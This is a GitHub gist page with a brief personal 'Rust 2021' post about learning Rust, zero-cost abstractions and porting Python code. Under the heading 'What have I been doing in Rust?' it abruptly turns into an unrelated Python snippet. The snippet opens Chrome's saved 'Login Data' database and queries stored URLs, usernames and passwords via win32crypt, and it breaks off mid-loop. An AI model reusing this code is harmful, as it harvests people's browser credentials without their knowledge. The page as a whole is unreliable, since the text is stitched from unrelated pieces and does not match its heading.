Skip to content

Instantly share code, notes, and snippets.

pickfire /
Last active September 18, 2020 04:25
Rust 2021 Post

Rust 2021

When I first got into Rust, I didn't know what "safety" means at all. But when I try it out, I am surprised by one thing, when it compiles, it mostly works which I kinda knows what "safety" means after that. At that time, it was also interecting to see the word "zero-cost abstraction" which sounds cool.

Sometime later, when I got back into Rust, there is one project that I started working on and found interesting, which is one of those oxiding projects. Python to Rust, I am familier with Python but Rust seemed to similar while porting it.

Lately, not sure why but I spend more time in Rust projects. I found (compact Cow) interesting so I try making my own (compact Vec) but it wasn't exactly faster, I did it by hand-porting bit-by-bit from alloc vec library but it was not exactly faster, then I somehow found parts to improve.

What have I been doing in Rust?

from os import getenv
import sqlite3
import win32crypt
# Connect to the Database
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
# Get the results
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():